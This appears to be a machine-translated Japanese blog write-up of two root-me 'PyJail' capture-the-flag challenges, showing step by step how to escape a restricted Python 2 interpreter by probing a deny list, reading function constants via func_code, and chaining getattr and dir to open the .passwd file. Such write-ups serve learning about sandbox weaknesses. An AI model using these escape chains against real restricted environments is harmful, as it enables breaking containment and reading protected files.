あなたが知らなかったかもしれないPython機能

%username%への挨拶。 sudoの回避策に関する記事を読んだ後似たようなものをPythonについて説明しようと決めました。 そのようなタスクをしくれたroot-meに感謝します。 それらを解決すると、特定のメカニズムの動作について多くを学ぶことができます。 厳密に判断しないでください、これが私の最初の作成です。

さあ始めましょう!



PyJail 1



接続すると、このような挨拶と短い説明が表示されます。







要するにPythonインタープリターの限定バージョンになってしまいました。それを終了するか、同じディレクトリにある.passwdファイルの内容を取得する必要があります。 複雑なことはなく、インタプリタを終了するだけです。 これを試してみましょう:



>>> exit() TypeError : exit() takes exactly 1 argument (0 given) >>> exit('exit') Denied >>> exit(0) You cannot escape !
      
      





exit関数には1つのパラメーターが必要であり、このパラメーターは何かでチェックされ、失敗した場合は戻りません! 。 また、文字列リテラルの使用は禁止されていると判断しました。 単純な列挙は、禁止されている機能のリストを定義します。



 >>> __import__ Denied >>> name Denied >>> locals Denied >>> globals Denied >>> eval Denied >>> import Denied >>> __ Denied >>> system Denied
      
      





私たちはこれを理解しましたが、どのアクションを実行することが許可されているかを調べることは残っています。 印刷してみましょう:



 >>> print 123 123
      
      





動作します。 変数と関数の作成も利用できます:



 >>> a=[1] >>> print a [1] >>> def ls(): print(1) >>> ls() 1
      
      





オブジェクトのプロパティはどうですか?



 >>> a.append(10) >>> print a [1, 10]
      
      





それらも利用可能です。 Pythonでは、関数を含むほとんどすべてがオブジェクトです。 関数をオブジェクトとして操作する方法の詳細については、 こちらをご覧ください



最後の部分に進み、アクセス可能な唯一の関数exit()で宣言されている定数のリストを見てみましょう。



 >>> print(exit.func_code.co_consts) (None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')
      
      





取得した情報から、関数のロジックを比fig的に復元することができます。



 def exit(txt): if txt == 'flag-WQ0dSFrab3LGADS1ypA1': os.system('cat .passwd') else: print('You cannot escape !')
      
      





この推測を確認してください:



 >>> x = exit.func_code.co_consts[1] >>> print(x) flag-WQ0dSFrab3LGADS1ypA1 >>> exit(x) Well done flag : XXXXXXXXXXXXXXXXXXXXXXX
      
      





したがって、使用されている変数のリストを表示できるだけでなく、この関数のバイトコードを取得することもできますが、これは単純な逆コンパイル後にエラーがあっても復元できます。



PyJail 2







第二部。 伝統的に、いつものように、 .passwdファイルの内容を取得する必要があります。 始めましょう。 最初の部分で使用したのと同じ手法を試してみましょう。



 >>> print(getout.func_code.co_consts) You are in jail dude ... Did you expect to have the key ?
      
      





別に試してみましょう。 まず、 dirコマンドが使用可能かどうかを確認しますか?



 >>> dir() >>> a=[] >>> dir(a) NameError: name 'dir(a)' is not defined >>> print(dir()) ['__builtins__', 'command', 'getout']
      
      





はい、動作しますが、この段階ではこれまでのところほとんど役に立ちません。 リストの残りの関数をチェックした後、別の関数を使用できることがわかります。



 >>> print(getattr) <built-in function getattr>
      
      





それは何を与えますか? ドキュメントから次のことがわかっています。

オブジェクトの名前付き属性の値を返します。 名前は文字列でなければなりません。 文字列がオブジェクトの属性の名前の場合、結果はその属性の値になります。 たとえば、getattr(x、 'foobar')はx.foobarと同等です。 指定された属性が存在しない場合、提供されている場合はデフォルトが返され、そうでない場合はAttributeErrorが送出されます。


関数はオブジェクトを受け取り、その中のメソッドを見つけて返します。 getoutのメソッドを見てみましょう:

 >>> print dir(getout) ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
      
      





さて、PyJail1の場合と同様に振る舞って、最初にgetoutで使用される関数のリストを見つけます。



 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds) ('passwd', 'os', 'system', 'sys', 'exit')
      
      





ここで、定数のリストを取得します。



 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm) (' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)
      
      





システム( 'cat .passwd')を実行し、タスクを完了するためのパスワードを取得するために残ります



 >>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd)
      
      





Pythonをこのようなcな方法で使用すると、1つのアクションをさまざまな方法で実行できます。 今のところすべてです。



All Articles